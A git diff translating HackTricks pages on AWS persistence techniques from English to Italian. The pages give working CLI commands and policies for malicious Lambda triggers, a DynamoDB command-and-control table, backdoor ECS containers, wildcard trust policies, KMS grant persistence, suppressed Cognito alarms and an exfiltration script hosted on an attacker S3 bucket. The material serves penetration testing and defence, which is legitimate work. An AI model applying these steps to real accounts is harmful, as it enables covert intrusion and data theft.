+Cognito è un servizio che consente di assegnare ruoli a utenti non autenticati e autenticati e di controllare un directory di utenti. Diverse configurazioni possono essere modificate per mantenere una certa persistenza, come:
-- **Adding a User Pool** controlled by the user to an Identity Pool
-- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- - Or to an **authenticated Identity Pool** if the attacker can login
- - Or **improve the permissions** of the given roles
-- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+- **Aggiungere un User Pool** controllato dall'utente a un Identity Pool
+- Dare un **ruolo IAM a un Identity Pool non autenticato e consentire il flusso di autenticazione di base**
+- O a un **Identity Pool autenticato** se l'attaccante può effettuare il login
+- O **migliorare i permessi** dei ruoli assegnati
+- **Creare, verificare e privesc** tramite utenti controllati da attributi o nuovi utenti in un **User Pool**
+- **Consentire ai fornitori di identità esterni** di effettuare il login in un User Pool o in un Identity Pool
-Check how to do these actions in
+Controlla come eseguire queste azioni in
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
@@ -29,18 +29,12 @@ Check how to do these actions in
### `cognito-idp:SetRiskConfiguration`
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
+Un attaccante con questo privilegio potrebbe modificare la configurazione del rischio per poter effettuare il login come utente Cognito **senza attivare allarmi**. [**Controlla il cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) per verificare tutte le opzioni:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-
-By default this is disabled:
+Per impostazione predefinita, questo è disabilitato:
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 75a824e73..568324531 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -1,67 +1,59 @@
-# AWS - DynamoDB Persistence
+# AWS - Persistenza DynamoDB
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
-For more information access:
+Per ulteriori informazioni accedi a:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
+### Trigger DynamoDB con Backdoor Lambda
+Utilizzando i trigger di DynamoDB, un attaccante può creare una **backdoor furtiva** associando una funzione Lambda malevola a una tabella. La funzione Lambda può essere attivata quando un elemento viene aggiunto, modificato o eliminato, consentendo all'attaccante di eseguire codice arbitrario all'interno dell'account AWS.
```bash
# Create a malicious Lambda function
aws lambda create-function \
- --function-name MaliciousFunction \
- --runtime nodejs14.x \
- --role \
- --handler index.handler \
- --zip-file fileb://malicious_function.zip \
- --region
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
- --table-name TargetTable \
- --region
+--table-name TargetTable \
+--region
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
- --function-name MaliciousFunction \
- --event-source \
- --region
+--function-name MaliciousFunction \
+--event-source \
+--region
```
+Per mantenere la persistenza, l'attaccante può creare o modificare elementi nella tabella DynamoDB, il che attiverà la funzione Lambda malevola. Questo consente all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la funzione Lambda.
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
-
-### DynamoDB as a C2 Channel
-
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
+### DynamoDB come canale C2
+Un attaccante può utilizzare una tabella DynamoDB come **canale di comando e controllo (C2)** creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire questi comandi.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
- --table-name C2Table \
- --attribute-definitions AttributeName=CommandId,AttributeType=S \
- --key-schema AttributeName=CommandId,KeyType=HASH \
- --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
- --region
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region
# Insert a command into the table
aws dynamodb put-item \
- --table-name C2Table \
- --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
- --region
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region
```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
+Le istanze compromesse o le funzioni Lambda possono controllare periodicamente la tabella C2 per nuovi comandi, eseguirli e, facoltativamente, riportare i risultati nella tabella. Questo consente all'attaccante di mantenere la persistenza e il controllo sulle risorse compromesse.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index b52ac9e85..85b6f06a8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -4,55 +4,51 @@
## EC2
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Security Group Connection Tracking Persistence
+### Persistenza del Tracciamento delle Connessioni del Gruppo di Sicurezza
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
+Se un difensore scopre che un **istanza EC2 è stata compromessa**, probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma i NACL influenzano l'intera subnet), o **cambiando il gruppo di sicurezza** per non consentire **alcun tipo di traffico in entrata o in uscita**.
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Se l'attaccante aveva una **reverse shell originata dalla macchina**, anche se il SG è modificato per non consentire traffico in entrata o in uscita, la **connessione non verrà interrotta a causa di** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
+Questo servizio consente di **programmare** la **creazione di AMI e snapshot** e persino di **condividerli con altri account**.\
+Un attaccante potrebbe configurare la **generazione di AMI o snapshot** di tutte le immagini o di tutti i volumi **ogni settimana** e **condividerli con il suo account**.
-### Scheduled Instances
+### Istanze Programmate
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
+È possibile programmare le istanze per essere eseguite quotidianamente, settimanalmente o persino mensilmente. Un attaccante potrebbe eseguire una macchina con privilegi elevati o accesso interessante dove potrebbe accedere.
-### Spot Fleet Request
+### Richiesta di Spot Fleet
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
+Le istanze Spot sono **più economiche** delle istanze regolari. Un attaccante potrebbe lanciare una **piccola richiesta di spot fleet per 5 anni** (ad esempio), con **assegnazione automatica di IP** e un **user data** che invia all'attaccante **quando l'istanza spot inizia** e l'**indirizzo IP** e con un **ruolo IAM con privilegi elevati**.
-### Backdoor Instances
+### Istanze Backdoor
-An attacker could get access to the instances and backdoor them:
+Un attaccante potrebbe accedere alle istanze e backdoorarle:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring the **User Data**
+- Utilizzando un tradizionale **rootkit** ad esempio
+- Aggiungendo una nuova **chiave SSH pubblica** (controlla [opzioni di privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
+- Backdooring il **User Data**
-### **Backdoor Launch Configuration**
+### **Configurazione di Lancio Backdoor**
-- Backdoor the used AMI
-- Backdoor the User Data
-- Backdoor the Key Pair
+- Backdoor l'AMI utilizzata
+- Backdoor il User Data
+- Backdoor il Key Pair
### VPN
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
+Crea una VPN in modo che l'attaccante possa connettersi direttamente attraverso di essa al VPC.
### VPC Peering
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
+Crea una connessione di peering tra il VPC della vittima e il VPC dell'attaccante in modo che possa accedere al VPC della vittima.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 07928fbd4..c84b402b6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -4,98 +4,88 @@
## ECR
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
-### Hidden Docker Image with Malicious Code
+### Immagine Docker Nascosta con Codice Maligno
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
+Un attaccante potrebbe **caricare un'immagine Docker contenente codice maligno** in un repository ECR e usarla per mantenere la persistenza nell'account AWS target. L'attaccante potrebbe quindi distribuire l'immagine malevola a vari servizi all'interno dell'account, come Amazon ECS o EKS, in modo furtivo.
-### Repository Policy
-
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
+### Politica del Repository
+Aggiungi una politica a un singolo repository concedendoti (o a tutti) accesso a un repository:
```bash
aws ecr set-repository-policy \
- --repository-name cluster-autoscaler \
- --policy-text file:///tmp/my-policy.json
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
# With a .json such as
{
- "Version" : "2008-10-17",
- "Statement" : [
- {
- "Sid" : "allow public pull",
- "Effect" : "Allow",
- "Principal" : "*",
- "Action" : [
- "ecr:BatchCheckLayerAvailability",
- "ecr:BatchGetImage",
- "ecr:GetDownloadUrlForLayer"
- ]
- }
- ]
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
}
```
-
> [!WARNING]
-> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
+> Nota che ECR richiede che gli utenti abbiano **permessi** per effettuare chiamate all'API **`ecr:GetAuthorizationToken`** tramite una policy IAM **prima di poter autenticarsi** a un registro e caricare o scaricare immagini da qualsiasi repository Amazon ECR.
-### Registry Policy & Cross-account Replication
+### Politica del Registro e Replicazione tra Account
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
+È possibile replicare automaticamente un registro in un account esterno configurando la replicazione tra account, dove è necessario **indicare l'account esterno** in cui si desidera replicare il registro.
-First, you need to give the external account access over the registry with a **registry policy** like:
-
+Prima, è necessario concedere all'account esterno accesso al registro con una **politica del registro** come:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
- "Sid": "asdasd",
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::947247140022:root"
- },
- "Action": [
- "ecr:CreateRepository",
- "ecr:ReplicateImage"
- ],
- "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
-
-Then apply the replication config:
-
+Poi applica la configurazione di replicazione:
```bash
aws ecr put-replication-configuration \
- --replication-configuration file://replication-settings.json \
- --region us-west-2
+--replication-configuration file://replication-settings.json \
+--region us-west-2
# Having the .json a content such as:
{
- "rules": [{
- "destinations": [{
- "region": "destination_region",
- "registryId": "destination_accountId"
- }],
- "repositoryFilters": [{
- "filter": "repository_prefix_name",
- "filterType": "PREFIX_MATCH"
- }]
- }]
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 988626c8f..bd6256d22 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -4,29 +4,28 @@
## ECS
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
-### Hidden Periodic ECS Task
+### Attività ECS Periodica Nascosta
> [!NOTE]
> TODO: Test
-An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
-
+Un attaccante può creare un'attività ECS periodica nascosta utilizzando Amazon EventBridge per **pianificare l'esecuzione di un'attività malevola periodicamente**. Questa attività può eseguire ricognizione, esfiltrare dati o mantenere la persistenza nell'account AWS.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
- {
- "Id": "malicious-ecs-task-target",
- "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
- "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
- "EcsParameters": {
- "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
- "TaskCount": 1
- }
- }
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
]'
```
-
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Test
-An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
-
+Un attaccante può aggiungere un **container backdoor furtivo** in una definizione di task ECS esistente che viene eseguito insieme ai container legittimi. Il container backdoor può essere utilizzato per la persistenza e per eseguire attività malevole.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
- {
- "name": "legitimate-container",
- "image": "legitimate-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- },
- {
- "name": "backdoor-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": false
- }
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
]'
```
-
-### Undocumented ECS Service
+### Servizio ECS non documentato
> [!NOTE]
> TODO: Test
-An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
-
+Un attaccante può creare un **servizio ECS non documentato** che esegue un'attività malevola. Impostando il numero desiderato di attività al minimo e disabilitando la registrazione, diventa più difficile per gli amministratori notare il servizio malevolo.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index bdb282d41..1111286cf 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -4,22 +4,18 @@
## EFS
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
-### Modify Resource Policy / Security Groups
+### Modifica della Politica delle Risorse / Gruppi di Sicurezza
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
+Modificando la **politica delle risorse e/o i gruppi di sicurezza** puoi provare a mantenere il tuo accesso nel file system.
-### Create Access Point
+### Crea un Punto di Accesso
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
+Potresti **creare un punto di accesso** (con accesso root a `/`) accessibile da un servizio dove hai implementato **altra persistenza** per mantenere l'accesso privilegiato al file system.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index c55e0e2ba..db2aa2841 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -4,31 +4,30 @@
## Elastic Beanstalk
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### Persistence in Instance
+### Persistenza nell'istanza
-In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
+Per mantenere la persistenza all'interno dell'account AWS, alcuni **meccanismi di persistenza potrebbero essere introdotti all'interno dell'istanza** (cron job, chiave ssh...) in modo che l'attaccante possa accedervi e rubare le **credenziali del ruolo IAM dal servizio di metadata**.
-### Backdoor in Version
+### Backdoor nella versione
-An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
+Un attaccante potrebbe inserire una backdoor nel codice all'interno del repository S3 in modo che esegua sempre la sua backdoor e il codice previsto.
-### New backdoored version
+### Nuova versione con backdoor
-Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
+Invece di modificare il codice sulla versione attuale, l'attaccante potrebbe distribuire una nuova versione dell'applicazione con backdoor.
-### Abusing Custom Resource Lifecycle Hooks
+### Abuso dei Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
-Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
-
+Elastic Beanstalk fornisce lifecycle hooks che ti permettono di eseguire script personalizzati durante il provisioning e la terminazione dell'istanza. Un attaccante potrebbe **configurare un lifecycle hook per eseguire periodicamente uno script che esfiltra dati o mantiene l'accesso all'account AWS**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
- AWSEBAutoScalingGroup:
- Metadata:
- AWS::ElasticBeanstalk::Ext:
- TriggerConfiguration:
- triggers:
- - name: stealthy-lifecycle-hook
- events:
- - "autoscaling:EC2_INSTANCE_LAUNCH"
- - "autoscaling:EC2_INSTANCE_TERMINATE"
- target:
- ref: "AWS::ElasticBeanstalk::Environment"
- arn:
- Fn::GetAtt:
- - "AWS::ElasticBeanstalk::Environment"
- - "Arn"
- stealthyLifecycleHook:
- Type: AWS::AutoScaling::LifecycleHook
- Properties:
- AutoScalingGroupName:
- Ref: AWSEBAutoScalingGroup
- LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
- NotificationTargetARN:
- Ref: stealthy-lifecycle-hook
- RoleARN:
- Fn::GetAtt:
- - AWSEBAutoScalingGroup
- - Arn' > stealthy_lifecycle_hook.yaml
+AWSEBAutoScalingGroup:
+Metadata:
+AWS::ElasticBeanstalk::Ext:
+TriggerConfiguration:
+triggers:
+- name: stealthy-lifecycle-hook
+events:
+- "autoscaling:EC2_INSTANCE_LAUNCH"
+- "autoscaling:EC2_INSTANCE_TERMINATE"
+target:
+ref: "AWS::ElasticBeanstalk::Environment"
+arn:
+Fn::GetAtt:
+- "AWS::ElasticBeanstalk::Environment"
+- "Arn"
+stealthyLifecycleHook:
+Type: AWS::AutoScaling::LifecycleHook
+Properties:
+AutoScalingGroupName:
+Ref: AWSEBAutoScalingGroup
+LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
+NotificationTargetARN:
+Ref: stealthy-lifecycle-hook
+RoleARN:
+Fn::GetAtt:
+- AWSEBAutoScalingGroup
+- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index e3e1944e7..458335a82 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -4,50 +4,44 @@
## IAM
-For more information access:
+Per ulteriori informazioni accedi a:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
-### Common IAM Persistence
+### Persistenza IAM comune
-- Create a user
-- Add a controlled user to a privileged group
-- Create access keys (of the new user or of all users)
-- Grant extra permissions to controlled users/groups (attached policies or inline policies)
-- Disable MFA / Add you own MFA device
-- Create a Role Chain Juggling situation (more on this below in STS persistence)
+- Crea un utente
+- Aggiungi un utente controllato a un gruppo privilegiato
+- Crea chiavi di accesso (del nuovo utente o di tutti gli utenti)
+- Concedi permessi extra a utenti/gruppi controllati (policy collegate o policy inline)
+- Disabilita MFA / Aggiungi il tuo dispositivo MFA
+- Crea una situazione di catena di ruoli (maggiore dettagli su questo di seguito nella persistenza STS)
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+### Politiche di fiducia del ruolo backdoor
+Potresti inserire una backdoor in una politica di fiducia per poterla assumere per una risorsa esterna controllata da te (o da chiunque):
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": ["*", "arn:aws:iam::123213123123:root"]
- },
- "Action": "sts:AssumeRole"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
}
```
-
### Backdoor Policy Version
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
+Dai permessi di Amministratore a una policy che non è nella sua ultima versione (l'ultima versione dovrebbe sembrare legittima), quindi assegna quella versione della policy a un utente/gruppo controllato.
### Backdoor / Create Identity Provider
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
+Se l'account sta già fidandosi di un provider di identità comune (come Github), le condizioni della fiducia potrebbero essere aumentate in modo che l'attaccante possa abusarne.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 7aefbd410..7719c9954 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -4,40 +4,34 @@
## KMS
-For mor information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
-### Grant acces via KMS policies
+### Concedere accesso tramite le politiche KMS
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
+Un attaccante potrebbe utilizzare il permesso **`kms:PutKeyPolicy`** per **dare accesso** a una chiave a un utente sotto il suo controllo o anche a un account esterno. Controlla la [**pagina KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) per ulteriori informazioni.
-### Eternal Grant
+### Grant eterno
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
+I grant sono un altro modo per dare a un principale alcuni permessi su una chiave specifica. È possibile concedere un grant che consente a un utente di creare grant. Inoltre, un utente può avere diversi grant (anche identici) sulla stessa chiave.
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+Pertanto, è possibile per un utente avere 10 grant con tutti i permessi. L'attaccante dovrebbe monitorare questo costantemente. E se a un certo punto 1 grant viene rimosso, dovrebbero essere generati altri 10.
+(Stiamo usando 10 e non 2 per poter rilevare che un grant è stato rimosso mentre l'utente ha ancora alcuni grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
- --key-id \
- --grantee-principal \
- --operations "CreateGrant" "Decrypt"
+--key-id \
+--grantee-principal \
+--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id
```
-
> [!NOTE]
-> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Un grant può concedere permessi solo da questo: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 1390c2d55..d90ef131a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -4,65 +4,61 @@
## Lambda
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Lambda Layer Persistence
+### Persistenza dei Layer Lambda
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+È possibile **introdurre/backdoor un layer per eseguire codice arbitrario** quando il lambda viene eseguito in modo furtivo:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Lambda Extension Persistence
+### Persistenza delle Estensioni Lambda
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Abusando dei Layer Lambda è anche possibile abusare delle estensioni e persistere nel lambda ma anche rubare e modificare le richieste.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
-### Via resource policies
+### Tramite politiche delle risorse
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
